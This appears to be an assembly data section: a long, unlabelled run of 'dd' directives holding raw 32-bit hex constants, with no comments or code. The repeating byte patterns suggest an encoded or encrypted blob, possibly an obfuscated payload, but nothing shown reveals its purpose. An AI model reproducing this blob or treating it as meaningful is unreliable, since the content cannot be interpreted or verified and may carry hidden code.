dd 0B39B7158h, 0D8A8F9BBh, 98DB4849h, 4DE7576Bh, 4849D888h
dd 82D18859h, 0CDD19A59h, 0A7A7A6ACh, 82D188D1h, 0CDD1485Bh
dd 0A7A7A6B0h, 61501DD3h, 57402E9Ah, 0D9C05DE7h, 4DD34849h
dd 4849D9C4h, 0A348DCD5h, 715858A7h, 0D3C5B39Bh, 0A7A6B0DDh
dd 0BCDDD1A7h, 57A7A7A6h, 86558EFh, 2C58581Dh, 0DA4CF949h
dd 0A55D4849h, 715858A7h, 0A72EB19Bh, 0DDD3A7A7h, 0A7A7A6BCh
dd 0D12018D3h, 0A7A6B8DDh, 5981D1A7h, 0A8D5D199h, 0D1A7A7A6h
dd 5B82D190h, 0D50A5408h, 0A7A6A5DDh, 7AB008A7h, 0F958582Dh
dd 4849D9A0h, 0D15BB0DBh, 7AB3A41Dh, 0D2A41DD3h, 0A6A55DDCh
dd 3964A7A7h, 22644926h, 1DD35525h, 5DDCD5A4h, 0A7A7A6A5h
dd 0A77870D8h, 1DD3A41Dh, 0DCE657A4h, 0A7A6A55Dh, 504DD3A7h
dd 574849D9h, 0D89455E7h, 92594849h, 6151B2DBh, 0D8E52D88h
dd 0A7A6A7E5h, 692C0AA7h, 0A75BE5D8h, 2C6BA7A7h, 0A6E5D870h
dd 1DA7A7A6h, 0E5D8472Ch, 0A7A7A75Ah, 0D84E2C14h, 0A7A6A5E5h
dd 552C13A7h, 0A75CE5D8h, 576AA7A7h, 585A7BDDh, 0D900F958h
dd 0B0DB4849h, 0A0DDD15Bh, 0B1A7A7A6h, 585859A3h, 0A6A0DDD3h
dd 55D3A7A7h, 4849D930h, 0AF5A99DBh, 80DDD1B9h, 0D1A7A7A5h
dd 0D39A5982h, 0A7A6A8DDh, 78085BA7h, 0A6ACCDD1h, 88D1A7A7h
dd 485B82D1h, 0A584CDD1h, 0D50AA7A7h, 0A7A5B9DDh, 1AB008A7h
dd 0F958582Ch, 4849D9B8h, 0B85DE4D8h, 8A7A7A5h, 59C7DD57h
dd 38F95858h, 0D84849D9h, 0A5845DE4h, 572CA7A7h, 5859D4DDh
dd 0DA14F958h, 9AD14849h, 0E4D89A59h, 0A7A58E4Dh, 0DD5719A7h
dd 5858592Dh, 49D9C4F9h, 0E85D5B48h, 0D84849D8h, 0A5805DE4h
dd 571FA7A7h, 585904DDh, 5DE75758h, 4849D8A4h, 0D9805D5Bh
dd 0E4D84849h, 0A7A5B95Dh, 0DD573BA7h, 58585919h, 405DE757h
dd 0D84849DAh, 0A5B35DE4h, 572AA7A7h, 585974DDh, 0A0DDD358h
dd 0D3A7A7A6h, 49DA4C55h, 6DE75748h, 4849D8ECh, 0B1DBA959h
dd 0D1B9AF5Eh, 0A7A520DDh, 5982D1A7h, 0A8DDD39Ah, 5BA7A7A6h
dd 0CDD17C08h, 0A7A7A6B4h, 0D15AEF57h, 0A7A58CDDh, 7455D3A7h
dd 0DB4849D9h, 0B9AF5CB1h, 0A52CDDD1h, 82D1A7A7h, 0DDD39A59h
dd 0A7A7A6A8h, 0D144085Bh, 0A7A6ACCDh, 0D188D1A7h, 0D1485B82h
dd 0A7A588CDh, 0E3E5D5A7h, 0D5A7A7A5h, 49DB546Dh, 584DE148h
dd 0FCAB5858h, 0A5F6E5D5h, 6DD5A7A7h, 4849DB79h, 585855E1h
dd 0D1FCAB58h, 49DA0C45h, 88DDD348h, 0FBA7A7A5h, 485979F4h
dd 0A5C1E5D5h, 6DD5A7A7h, 4849DB76h, 58584DE1h, 0D5FCAB58h
dd 0A7A527E5h, 1B6DD5A7h, 0E14849DBh, 58585855h, 0D5FD3EABh
dd 0A7A5E3DDh, 6DA708A7h, 4849DA0Ch, 79F44DA7h, 18FB4859h
dd 0D5485111h, 0A7A527DDh, 6DA708A7h, 4849DA0Ch, 79F44DA7h
dd 94FB4859h, 0D5485957h, 0A7A5F6DDh, 6DA708A7h, 4849DA0Ch
dd 79F44DA7h, 78FB4859h, 0D5484937h, 0A7A5C1DDh, 6DA708A7h
dd 4849DA0Ch, 79F44DA7h, 4FB4859h, 0B3484901h, 0A0DDA743h
dd 0D3A7A7A6h, 0A7A6A8DDh, 4018D3A7h, 0A6A0DD61h, 0DA57A7A7h
dd 0A7A7A5A8h, 91030607h, 0BDD10D9Bh, 5B5860E0h, 2A1BB058h
dd 0E0B5858h, 0B0DDD50Fh, 8A7A5A7h, 49D914F9h, 485D5B48h
dd 0DB4849D9h, 0D50853B0h, 0D508441Dh, 0F908541Dh, 4849D944h
dd 85AB0DBh, 8501DD3h, 0BA740D3h, 0F99FD10Ch, 4849D984h
dd 0D98C5D5Bh, 0B0DB4849h, 579F6150h, 585BE1DDh, 0D8E0F958h
dd 5D5B4849h, 4849D9A4h, 85CB0DBh, 0A784DDD5h, 5708A7A5h
dd 0D9A85DE7h, 0B0DB4849h, 0DDD3085Dh, 0A7A5A7B0h, 0A740D308h
dd 9FD1540Bh, 505DE757h, 574849DAh, 0D89C4DE7h, 88594849h
dd 615FB0DBh, 0BDD579Fh, 0D358585Bh, 49D9486Dh, 51B6DB48h
dd 585ADDD5h, 0A708A7A6h, 0A5A784EDh, 8F85B0A7h, 9CDBA7A7h
dd 0A4FDDB50h, 58A7A5A7h, 49DA14F9h, 385D5B48h, 0DB4849D9h
dd 0DDD148B0h, 0A7A5A780h, 0A7B4DD9Fh, 5848A7A5h, 0E7575858h
dd 49D8945Dh, 2C5D5B48h, 0DB4849D9h, 0DDD150B0h, 0A7A5A7A0h
dd 0F05DE757h, 0D14849D9h, 0A5A7ACDDh, 0A8DD9FA7h, 5AA7A5A7h
dd 0F9585858h, 4849D898h, 0DA645D5Bh, 0B0DB4849h, 0DDD5085Ah
dd 0A7A5A7B4h, 0A4DDD508h, 8A7A5A7h, 0A780DDD5h, 0A708A7A5h
dd 0A5A784EDh, 441DD5A7h, 541DD508h, 0D890F908h, 5D5B4849h
dd 4849D908h, 85DB0DBh, 8501DD3h, 0BA740D3h, 0F99FD11Ch
dd 4849D880h, 944DE757h, 594849D8h, 5FB0DB88h, 0DD579F61h
dd 58585947h, 9C5DE757h, 0D14849D9h, 0DC6D5B9Eh, 0DB4849D9h
dd 0E5D853B6h, 0A7A6585Ah, 0D8512D1Ch, 0A6585BE5h, 5D2C08A7h
dd 5858AEB1h, 5DE5D858h, 8A7A658h, 0E5D8512Dh, 0A7A6585Eh
dd 0B15D2C11h, 58585887h, 0A7A4DDD3h, 0DDD1A7A5h, 0A7A5A78Ch
dd 0A780DDD3h, 0DDD1A7A5h, 0A7A5A788h, 0A7B8DDD5h, 0F908A7A5h
dd 4849D9ACh, 4D5B9AD1h, 4849D9DCh, 0A55B2DBh, 0D9144DD3h
dd 0B2DB4849h, 4DD30A5Ah, 4849D954h, 88D19A59h, 853B0DBh
dd 485DE757h, 5B4849DAh, 49D9A05Dh, 50B0DB48h, 0D8B4F908h
dd 8104849h, 0A788DDD5h, 0A708A7A5h, 58A8704Dh, 94DDD148h
dd 0D3A7A5A7h, 49D8BC55h, 0D0555B48h, 0DB4849D9h, 906152B1h
dd 0E7574F2Dh, 49D8A45Dh, 4DE75748h, 4849D8C4h, 8E599ED1h
dd 0B350B6DBh, 5DE7571Ah, 4849D95Ch, 6D5B9ED1h, 4849DA54h
dd 0D55AB6DBh, 0A4A791DDh, 0EDA708A7h, 0A7A5A7BCh, 0A78E7AB0h
dd 509CDBA7h, 405DE757h, 614849DAh, 0A5A7BCDDh, 0A7542CA7h
dd 0A5A7BCEDh, 944DA7A7h, 0F948597Dh, 4849D88Ch, 0D9684DD3h
dd 4D5B4849h, 4849D9F8h, 0D051B2DBh, 0A7A65DCCh, 0DC9EA7A6h
dd 0A6A7A45Dh, 10F908A7h, 9E4849DAh, 0A7A65DDCh, 0A724A7A6h
dd 0DDD5742Dh, 0A7A75859h, 744DA708h, 304858A8h, 4849D6C0h
dd 0A79CEBB0h, 0C5D508A7h
dd 0A7A75859h, 744DA70Bh, 304858A8h, 4849D623h, 0A79CC3B0h
dd 1445D3A7h, 0DB4849DAh, 80B50B3h, 0B0742DA7h, 0A7A7AFEBh
dd 577C9CDBh, 0D9A84DE7h, 9AD94849h, 5858A7A1h, 402C8861h
dd 585ADDD5h, 0D508A7A6h, 0A75859DDh, 0DCB008A7h, 0DB585849h
dd 77B3509Ch, 585ADDD5h, 0D508A7A6h, 0A75859DDh, 4DA708A7h
dd 4858A874h, 49D62E30h, 9C66B048h, 0D508A7A7h, 0A75859C5h
dd 4DA70BA7h, 4858A874h, 0F94C9CDBh, 4849D988h, 0D9AC5D5Bh
dd 0B0DB4849h, 2D9E6157h, 0A4DDD356h, 0D1A7A5A7h, 0A5A790DDh
dd 0D554B3A7h, 0A4A791DDh, 90DDD1A7h, 0A7A7A5A7h, 0A5A790EDh
dd 59DDD5A7h, 8A7A758h, 0A8744DA7h, 29304858h, 0B04849D6h
dd 0A7A79BBCh, 59C5D508h, 0BA7A758h, 0A8744DA7h, 9CDB4858h
dd 0DA74F94Ch, 5D5B4849h, 4849D8E8h, 6154B0DBh, 0A5A7A4DDh
dd 0A7542CA7h, 0A5A7A4EDh, 0B44DA7A7h, 0D5485D69h, 0A75859DDh
dd 4DA708A7h, 485D69B8h, 0A43BB101h, 0E757A7A7h, 49D8945Dh
dd 0DD611048h, 0A7A5A7B0h, 0DDD3542Ch, 0A7A5A7B0h, 0A740D308h
dd 607500Bh, 0D9B9103h, 0B4D9BDD1h, 58585A04h, 0D30F0E0Bh
dd 25DB5005h, 412C5848h, 49D904F9h, 685D5B48h, 0DB4849D9h
dd 0DDD15DB0h, 0A7A7A5E0h, 5858DEB1h, 540DD358h, 0A055E757h
dd 0DB4849D8h, 54615DB1h, 597DB8CDh, 0E442D48h, 7DE44DA7h
dd 0B4F94859h, 5B4849D9h, 49D96C5Dh, 5CB0DB48h, 384DA708h
dd 0F9484901h, 4849D954h, 0D13A98DBh, 0A7A5E0DDh, 0D63130A7h
dd 5DB04849h, 0A7A7A79Bh, 0D508542Dh, 0A7A5F2CDh, 4DA70AA7h
dd 48550170h, 0D5489CDBh, 0A7A5F2DDh, 4DA708A7h, 4849013Ch
dd 2D5BA0DBh, 0D880F94Eh, 7A5D4849h, 5B585859h, 49D9805Dh
dd 0E0DDD148h, 69A7A7A5h, 81D11FA7h, 18A790DBh, 585964D8h
dd 0DDD1A12Dh, 0A7A7A5ECh, 49D63A30h, 9AF2B048h, 9CDBA7A7h
dd 0D5080B5Ch, 0A7A5E6CDh, 4DA70AA7h, 48550170h, 0D3549CDBh
dd 0A7A5ECDDh, 4DE757A7h, 4849DA18h, 0D9444D5Bh, 0B2DB4849h
dd 0D888715Dh, 57765B64h, 5858F3DDh, 0ECDDD358h, 0DBA7A7A5h
dd 0E6575CB0h, 0A7085B5Ch, 58A8644Dh, 5C9CDB48h, 0CDD09AD1h
dd 0A7A7A5F1h, 0A5ECDDD3h, 0B0DBA7A7h, 5CE6575Ah, 4DA7085Bh
dd 4858A864h, 0D15C9CDBh, 0F0CDD09Ah, 0D3A7A7A5h, 0A7A5ECDDh
dd 5BB0DBA7h, 5B5CE657h, 644DA708h, 0DB4858A8h, 9AD15C9Ch
dd 0A5FFCDD0h, 0E5D8A7A7h, 0A7A7A5F1h, 0D8432D14h, 0A7A5FFE5h
dd 4A2D16A7h, 0A5F0E5D8h, 2D13A7A7h, 0B7B00B51h, 0DBA7A79Ch
dd 0E5D85C9Ch, 0A7A7A5F1h, 0D8792D1Dh, 0A7A5FFE5h, 402D00A7h
dd 0A5F0E5D8h, 2D1DA7A7h, 0E0EDA757h, 0BA7A7A5h, 0A79AE2B0h
dd 509CDBA7h, 0A69ADDD5h, 0D508A7A7h, 0A7A5E6DDh, 4DA708A7h
dd 48516A70h, 0E7579ED1h, 49D9F05Dh, 545D5B48h, 0DB4849DAh
dd 80AF5BB0h, 0DC579E61h, 585858EFh, 0A6B6E5D8h, 5776A7A7h
dd 5858FEDCh, 0D6013058h, 0D9B04849h, 0D5A7A799h, 0A7A6B6CDh
dd 80B0AA7h, 0A5E6CDD5h, 0A70AA7A7h, 5501704Dh, 482DA748h
dd 0D5542DA7h, 0A7A5E6DDh, 84B008A7h, 0DBA7A7A5h, 37B3789Ch
dd 0A69ADDD5h, 0E08A7A7h, 57904DA7h, 9FD14859h, 452DA751h
dd 0A5E0DDD3h, 5D5BA7A7h, 48550174h, 7C4DA708h, 1485501h
dd 0E44DA70Eh, 0B348597Dh, 0B6E5D81Ah, 76A7A7A6h, 8306D2Ch
dd 0B04849D6h, 0A7A79948h, 0A6B6CDD5h, 0B0AA7A7h, 0E6CDD508h
dd 0AA7A7A5h, 1704DA7h, 2DA74855h, 542DA748h, 0A5E6DDD5h
dd 0B008A7A7h, 0A7A7A533h, 51789CDBh, 7D52DA7h, 9B910306h
dd 0E0BDD10Dh, 5859586Ch, 5833D4B0h, 0F0E0B58h, 49DA78F9h
dd 585D5B48h, 0DB4849D9h, 5D6153B0h, 4849DA9Ch, 0B4F94C2Dh
dd 0DB4849D8h, 5D615198h, 48597D88h, 5A20DA57h, 0DDD55858h
dd 0A7A6A7B8h, 104DA708h, 0D54858A8h, 0A6A788DDh, 0DDD508A7h
dd 0A7A6A7B8h, 57513208h, 0D95C5DE7h, 5D5B4849h, 4849D9B4h
dd 85BB0DBh, 0A7502DA7h, 516A7C4Dh, 0F99FD148h, 4849D988h
dd 104DE757h, 594849D9h, 50B0DB88h, 0DD579F61h, 58585A7Eh
dd 0A7B0EDD3h, 0ECF9A7A6h, 0DB4849D9h, 0DDD15CB0h, 0A7A6A7A0h
dd 0A7A0DDD5h, 3008A7A6h, 4849C2F0h, 0A74ED30Eh, 58584D4Ch
dd 9FD15858h, 49DA54F9h, 5CB0DB48h, 0DD579F61h, 585859B2h
dd 0A784DDD5h, 0D308A7A6h, 0A6A7A0DDh, 48D308A7h, 0D1200AA7h
dd 0D9E4F99Fh, 0E7574849h, 49D9C84Dh, 0DB885948h, 9F6156B0h
dd 59EEDD57h, 0DDD55858h, 0A7A75859h, 84EDA708h, 0B0A7A6A7h
dd 0A7A78883h, 0D1509CDBh, 0CDD11A9Ah, 0A7A6A794h, 0A784EDA7h
dd 4DA7A7A6h, 4849376Ch, 5859E5D8h, 2D30A7A7h, 5AE5D843h
dd 2CA7A758h, 0E5D84A2Dh, 0A7A7585Bh, 0D8512D2Ch, 0A7585CE5h
dd 5D2C28A7h, 58593BB1h, 0A8DDD558h, 8A7A6A7h, 0A7A0DDD3h
dd 0D308A7A6h, 100AA748h, 84F99FD1h, 5B4849D9h, 49DA6C5Dh
dd 50B0DB48h, 0DD579F61h, 58585960h, 0A7A4DDD5h, 3008A7A6h
dd 4849C270h, 0A7A8DDD3h, 0D308A7A6h, 4D4CA748h, 58585858h
dd 0FCF99FD1h, 0DB4849D8h, 9F615FB0h, 58A6DD57h, 0DDD55858h
dd 0A7A6A7ACh, 0A4DDD308h, 8A7A6A7h, 0CAA748D3h, 585859E8h
dd 7CF99FD1h, 5B4849D9h, 49DA745Dh, 51B0DB48h, 0DD579F61h
dd 5858589Ch, 0A780DDD5h, 0D308A7A6h, 0A6A7ACDDh, 48D308A7h
dd 0D1280AA7h, 0D898F99Fh, 9AD14849h, 88D19A59h, 615CB0DBh
dd 0D3492C9Fh, 0A6A7ACDDh, 58D308A7h, 0B15008A7h, 585858D4h
dd 0DDD38369h, 0A7A6A780h, 0A7ACDD61h, 5B2CA7A6h, 0D31B8369h
dd 0A6A7ACDDh, 58D308A7h, 0D35008A7h, 0A6A780DDh, 58D308A7h
dd 515008A7h, 0D5052D83h, 0A6A78CDDh, 0DDD308A7h, 0A7A6A7A4h
dd 0A748D308h, 9FD1780Ah, 49D974F9h, 4DE75748h, 4849D9C0h
dd 0B0DB8859h, 2D9F6151h, 59DDD56Bh, 8A7A758h, 0A7A0EDA7h
dd 0EDA7A7A6h, 0A7A6A78Ch, 0A7A4EDA7h, 6CB0A7A6h, 0A7585840h
dd 0A6A78CEDh, 0A4EDA7A7h, 0EA7A6A7h, 583D99B0h, 449CDB58h
dd 0A7A4DDD3h, 0D308A7A6h, 5008A758h, 0A7A8DDD3h, 0D308A7A6h
dd 5008A758h, 0A75ED30Eh, 6075008h, 0D9B9103h, 0B4DBBDD1h
dd 0F0E0B18h, 71AC4DA7h, 9BD1485Dh, 587D1AB0h, 2D985158h
dd 6C65D356h, 0DB4849DAh, 53B15FB7h, 0B58585Ah, 645DE757h
dd 0DB4849D9h, 300851B0h, 584757A7h, 37744DA7h, 9ED14849h
dd 8A41DD5h, 0A70E7032h, 5978D84Dh, 0D39FD148h, 49D97C4Dh
dd 0AC4D5B48h, 0D34849D9h, 49D89855h, 5AB1DB48h, 0C0CD14D1h
dd 49D898F9h, 5AB0DB48h, 0DC579F61h, 585859E2h, 8981DD5h
dd 1DD57032h, 0F8F9089Ch, 0DB4849D9h, 5D5B5298h, 4849D9B4h
dd 0A42DA708h, 1544DA7h, 9FD14851h, 585025DBh, 58F9012Ch
dd 0DB4849D9h, 9F6151B0h, 65D3562Dh, 4849D8F4h, 0B15EB7DBh
dd 5858592Eh, 49D978F9h, 5B9FD148h, 49D9D865h, 5FB7DB48h
dd 49DA4CF9h, 4DE75748h, 4849DA40h, 0B0DB8859h, 9C1D615Bh
dd 5914DC57h, 64F95858h, 0D14849DAh, 84655B9Fh, 0DB4849D8h
dd 6FB15CB7h, 0F9585859h, 4849D938h, 615FB0DBh, 49DAD45Dh
dd 0F9402D48h, 4849D9F8h, 5867A05Dh, 18320858h, 71B44DA7h
dd 0D4FB485Dh, 0D54849DAh, 5708981Dh, 0DA1C5DE7h, 4DD34849h
dd 4849D958h, 0A848DCD5h, 8585867h, 0DAD46DA7h, 59324849h
dd 0A7A42DA7h, 5101544Dh, 0DA58F948h, 5D5B4849h, 4849D9E8h
dd 6154B0DBh, 49DAD05Dh, 32572D48h, 0A758324Ch, 5D71B44Dh
dd 0DAD0FB48h, 59324849h
dd 0DAD06DA7h, 4DA74849h, 48595850h, 58329FD1h, 49D930F9h
dd 4DE75748h, 4849DA50h, 0B0DB8859h, 5932085Bh, 0DAD06DA7h
dd 4DA74849h, 485D69BCh, 58329FD1h, 49DAD4F9h, 0A768A748h
dd 49DAD06Dh, 0B04DA748h, 0D1485D71h, 0A81DD59Fh, 0D66F3008h
dd 28F94849h, 0DB4849D9h, 0A7085CB0h, 58A8784Dh, 9F9FD148h
dd 585AA01Dh, 0E8F95858h, 0DB4849D9h, 9F615FB0h, 0E757102Ch
dd 49D9A85Dh, 4DE75748h, 4849D910h, 0B0DB8859h, 0B41DD15Eh
dd 0EC5DE757h, 0DB4849D8h, 57085DB0h, 0D93C5DE7h, 5D5B4849h
dd 4849D9A4h, 18F90810h, 104849D9h, 0B41DD508h, 0A7583208h
dd 4DA7A42Dh, 48511044h, 0A70E9FD1h, 5111104Dh, 0A42DA748h
dd 11104DA7h, 0A0D14851h, 91030607h, 0BDD10D9Bh, 59585CE0h
dd 3ED3B058h, 0E0B5858h, 502DD30Fh, 6C1865D5h, 25D84851h
dd 5E2D1B54h, 78F865D5h, 25D84859h, 5E2D0854h, 106865D5h
dd 90F94851h, 104849D8h, 58D83008h, 5B325858h, 49D980F9h
dd 4DE75748h, 4849D8CCh, 0B0DB8859h, 5B32085Eh, 58585830h
dd 4DA70F98h, 48493340h, 0A7DB9FD1h, 9FDC57A7h, 32585858h
dd 0D9D0F958h, 0B0DB4849h, 0F0E085Dh, 37684DA7h, 4CF94849h
dd 5B4849DAh, 49D9245Dh, 52B0DB48h, 0A4DDD508h, 8A7A6A7h
dd 58A7A730h, 59DDD558h, 8A7A758h, 6C4DA70Fh, 0D54858A8h
dd 0A7585DD5h, 0A790DBA7h, 5964D818h, 0D3A12D58h, 49D90C4Dh
dd 204D5B48h, 0DB4849D9h, 9BD154B2h, 0C5D18B59h, 0A7A6A7A4h
dd 0E7575832h, 49D8A45Dh, 0D05D5B48h, 0DB4849D9h, 0E085FB0h
dd 684DA70Fh, 0D3484937h, 49D9E46Dh, 906D5B48h, 0D34849D9h
dd 0A6A7A4C5h, 0EDC4D1A7h, 0A7A6A791h, 49D904F9h, 5CB0DB48h
dd 0A4DDD508h, 8A7A6A7h, 49D9A4F9h, 5C98DB48h, 59DDD508h
dd 8A7A758h, 444DA70Fh, 0F484937h, 11104DA7h, 6074851h
dd 0D9B9103h, 0B4D9BDD1h, 58585944h, 0D30F0E0Bh, 10D3501Dh
dd 0A415D150h, 0D15C08D3h, 18D3A00Dh, 0A81DD154h, 0D3501DD3h
dd 0AC1DD158h, 0A6BCE5D5h, 6DD5A7A7h, 4849DB38h, 585848E1h
dd 0D5FDAB58h, 6DD5FC25h, 4849DBF8h, 585848E1h, 0D5FDAB58h
dd 0A7A73CE5h, 0B86DD5A7h, 0E14849DBh, 58585848h, 0E5D5FDABh
dd 0A7A7A77Ch, 0DC786DD5h, 48E14849h, 0AB585858h, 0D92CF9FDh
dd 9BD14849h, 0B3DB9B59h, 5969B156h, 87D15858h, 0A75ABF99h
dd 0A6BC65ECh, 65D3A7A7h, 4849D9D4h, 0F5E9FDBh, 0A75425D3h
dd 2DA7C76Ch, 0A42DA7A8h, 0A7A02DA7h, 1CB0AC2Dh, 0DBA7A791h
dd 1DD1449Ch, 0D9A0F9ACh, 61184849h, 0D1102C9Bh, 7C655B87h
dd 0A74849DAh, 0A6BCE5ECh, 0E757A7A7h, 49D9C865h, 0E8655B48h
dd 174849D8h, 0AC65D30Fh, 0DB4849D9h, 86D150B7h, 25D3A659h
dd 0EF6CA754h, 0A7A42DA7h, 2DA7A02Dh, 0A82DA7ACh, 0A790AAB0h
dd 449CDBA7h, 0D3A81DD1h, 49D93065h, 6DE75748h, 4849D910h
dd 0D117AF59h, 0A7A65986h, 0A6BCEDECh, 0E757A7A7h, 49D88865h
dd 539FDB48h, 65E7570Fh, 4849D994h, 0D15FB7DBh, 0D3A65986h
dd 6CA75425h, 0A02DA7EFh, 0A7AC2DA7h, 2DA7A82Dh, 90F9B0A4h
dd 1DD1A7A7h, 65E757A4h, 4849DA48h, 0D9A0655Bh, 0B7DB4849h
dd 5986D15Dh, 0EDECA7A6h, 0A7A7A6BCh, 0D9E465D3h, 9FDB4849h
dd 0E7570F48h, 49D9C065h, 5A9FDB48h, 0A65986D1h, 0A75425D3h
dd 2DA7EF6Ch, 0A82DA7ACh, 0A02DA708h, 0A7900EB0h, 609CDBA7h
dd 0F9A01DD1h, 4849D938h, 0D90C5D5Bh, 0B0DB4849h, 579B5953h
dd 0D93C5DE7h, 98DB4849h, 579B6153h, 0A7A6E5DEh, 0D90CF9A7h
dd 9BD14849h, 0D904455Bh, 0B3DB4849h, 0D958F953h, 0E7574849h
dd 49D8A44Dh, 0DB885948h, 1DD153B0h, 59C1B1B4h, 25D35858h
dd 0E52CA7B4h, 2065D3FCh, 0DB4849D9h, 0D30F5CB7h, 6CA75425h
dd 0A82DA7C7h, 0A7A42DA7h, 2DA7A02Dh, 90DCB0ACh, 9CDBA7A7h
dd 0AC1DD144h, 49DA14F9h, 5CB0DB48h, 5CF99B59h, 0DB4849DAh
dd 9B615698h, 0ECF9522Ah, 0DB4849D9h, 9B715498h, 0D3B425D3h
dd 49D8846Dh, 5BB6DB48h, 2CA7AF59h, 65D3FCE5h, 4849D92Ch
dd 186DE757h, 594849DAh, 5EB7DBAFh, 5425D30Fh, 0A7C76CA7h
dd 2DA7A42Dh, 0AC2DA7A0h, 0B0A82DA7h, 0A7A7907Ah, 0D1449CDBh
dd 8CF9A81Dh, 5B4849D8h, 49D8BC5Dh, 5DB0DB48h, 0BCF99B59h
dd 0DB4849D8h, 5D5B5C98h, 4849D92Ch, 522A9B61h, 49D9ECF9h
dd 5498DB48h, 25D39B71h, 6DE757B4h, 4849DA48h, 0DA586D5Bh
dd 0B6DB4849h, 0A7AF5950h, 0D3FCE52Ch, 49D9D465h, 519FDB48h
dd 0D9BC655Bh, 0D30F4849h, 6CA75425h, 0A02DA7C7h, 0A7AC2DA7h
dd 2DA7A82Dh, 9FE8B0A4h, 9CDBA7A7h, 0A41DD144h, 49D920F9h
dd 5CB0DB48h, 60F99B59h, 0DB4849DAh, 9B614898h, 80F9522Ah
dd 0DB4849D8h, 9B715298h, 0D3B425D3h, 49DA586Dh, 5AB6DB48h
dd 2CA7AF59h, 0E757FCE5h, 49D89C65h, 569FDB48h, 5425D30Fh
dd 0A7C76CA7h, 2DA7AC2Dh, 0A42DA7A8h, 0B0A02DA7h, 0A7A79F0Eh
dd 0D1449CDBh, 58F9A01Dh, 0DB4849D9h, 9B595CB0h, 485DE757h
dd 0D34849DAh, 49D9F84Dh, 481CD548h, 2A9B615Bh, 0D928F94Bh
dd 98DB4849h, 4DE75750h, 4849D91Ch, 9B718859h, 49D9D4F9h
dd 5B98DB48h, 0F9B41D59h, 4849DA7Ch, 615398DBh, 0DE57B41Dh
dd 0A7A7A60Eh, 0D8E445D3h, 9BDB4849h, 5DE7575Dh, 4849D960h
dd 0D15BB0DBh, 0C1B1B01Dh, 0D3585859h, 0ECA7B025h, 0A7A73CE5h
dd 9065D3A7h, 0DB4849D8h, 0D30F5B9Fh, 6CA75425h, 0A82DA7C7h
dd 0A7A42DA7h, 2DA7A02Dh, 8106B0ACh, 9CDBA7A7h, 0AC1DD144h
dd 49D8B8F9h, 5BB0DB48h, 4CF99B59h, 0DB4849D9h, 9B615798h
dd 0E757542Ah, 49D89C5Dh, 5298DB48h, 25D39B71h, 8C6DD3B0h
dd 0DB4849D8h, 0AF595CB6h, 3CE5ECA7h, 0D3A7A7A7h, 49D95865h
dd 5A9FDB48h, 5425D30Fh, 0A7C76CA7h, 2DA7A42Dh, 0AC2DA7A0h
dd 0B0A82DA7h, 0A7A78158h, 0D1449CDBh, 0E757A81Dh, 49DA1C5Dh
dd 4DE75748h, 4849D95Ch, 0B0DB8859h, 0F99B595Ch, 4849D8BCh
dd 615398DBh, 0F9482A9Bh, 4849DA64h, 5B5798DBh, 49D9685Dh
dd 0D39B7148h, 6DD3B025h, 4849D9ECh, 595AB6DBh, 0E5ECA7AFh
dd 0A7A7A73Ch, 0D9B865D3h, 9FDB4849h, 25D30F54h, 0C76CA754h
dd 0A7A02DA7h, 2DA7AC2Dh, 0A42DA7A8h, 0A780CBB0h, 449CDBA7h
dd 0F9A41DD1h, 4849D998h, 595A98DBh, 5DE7579Bh, 4849D91Ch
dd 615498DBh, 0F9522A9Bh, 4849D990h, 715098DBh, 0B025D39Bh
dd 0D9AC6DD3h, 0E7574849h, 49DA504Dh, 0DB8E5948h, 0AF595FB6h
dd 3CE5ECA7h, 0D3A7A7A7h, 49D90065h, 4A9FDB48h, 0D96C655Bh
dd 0D30F4849h, 6CA75425h, 0AC2DA7C7h, 0A7A82DA7h, 2DA7A42Dh
dd 807EB0A0h, 9CDBA7A7h, 0A01DD144h, 49DA68F9h, 5A98DB48h
dd 0B8F99B59h, 0DB4849D9h, 5D5B5398h, 4849D890h, 542A9B61h
dd 0C85DE757h, 0DB4849D9h, 9B715098h, 49D928F9h, 0B01D5948h
dd 605DE757h, 0DB4849D9h, 1D615198h, 0CDE57B0h, 0D3A7A7A6h
dd 49D8FC45h, 5FB3DB48h, 49D8BCF9h, 185D5B48h, 0DB4849D9h
dd 1DD15EB0h, 599FB1BCh, 25D35858h, 0E5ECA7BCh, 0A7A7A77Ch
dd 0DA1065D3h, 9FDB4849h, 25D30F5Ah, 0C76CA754h, 0A7A82DA7h
dd 2DA7A42Dh, 0AC2DA7A0h, 0A7E52CB0h, 449CDBA7h, 0F9AC1DD1h
dd 4849D998h, 5B5E98DBh, 49DA605Dh, 0F99B5948h, 4849D990h
dd 615098DBh, 0F9522A9Bh, 4849D880h, 715298DBh, 0BC25D39Bh
dd 5C6DE757h, 5B4849D9h, 49D9486Dh, 50B6DB48h, 0ECA7AF59h
dd 0A7A77CE5h, 0DC65D3A7h
dd 574849D9h, 0D9FC6DE7h, 0AF594849h, 5425D30Fh, 0A7C76CA7h
dd 2DA7A42Dh, 0AC2DA7A0h, 0B0A82DA7h, 0A7A7E55Dh, 0D1449CDBh
dd 14F9A81Dh, 0DB4849D9h, 5D5B5C98h, 4849DA7Ch, 0E7579B59h
dd 49D9CC5Dh, 904DD348h, 0D54849D9h, 615F481Ch, 574B2A9Bh
dd 0D93C5DE7h, 4DD34849h, 4849D920h, 5E481CD5h, 25D39B71h
dd 806DD3BCh, 0DB4849D8h, 0AF595CB6h, 7CE5ECA7h, 0D3A7A7A7h
dd 49D98065h, 5E9FDB48h, 0D8BC655Bh, 0D30F4849h, 6CA75425h
dd 0A02DA7C7h, 0A7AC2DA7h, 2DA7A82Dh, 0E4D3B0A4h, 9CDBA7A7h
dd 0A41DD144h, 49DA4CF9h, 5C98DB48h, 98F99B59h, 0DB4849D9h
dd 9B615798h, 0BCF94B2Ah, 0DB4849D8h, 0E7575D98h, 49D89C4Dh
dd 71885948h, 0BC25D39Bh, 9C6DE757h, 0DB4849D8h, 0AF595BB6h
dd 7CE5ECA7h, 0D3A7A7A7h, 49D94465h, 499FDB48h, 0D930655Bh
dd 0D30F4849h, 6CA75425h, 0AC2DA7C7h, 0A7A82DA7h, 2DA7A42Dh
dd 0E447B0A0h, 9CDBA7A7h, 0A01DD144h, 105DE757h, 574849D9h
dd 0D8F04DE7h, 1CD54849h, 9B595E48h, 49D998F9h, 5798DB48h
dd 0D9D85D5Bh, 9B614849h, 44F94B2Ah, 0DB4849DAh, 0E7575198h
dd 49D9604Dh, 71885948h, 0D904F99Bh, 1D594849h, 0D90CF9BCh
dd 98DB4849h, 0BC1D615Ch, 0A670DE57h, 25D3A7A7h, 0A06DD350h
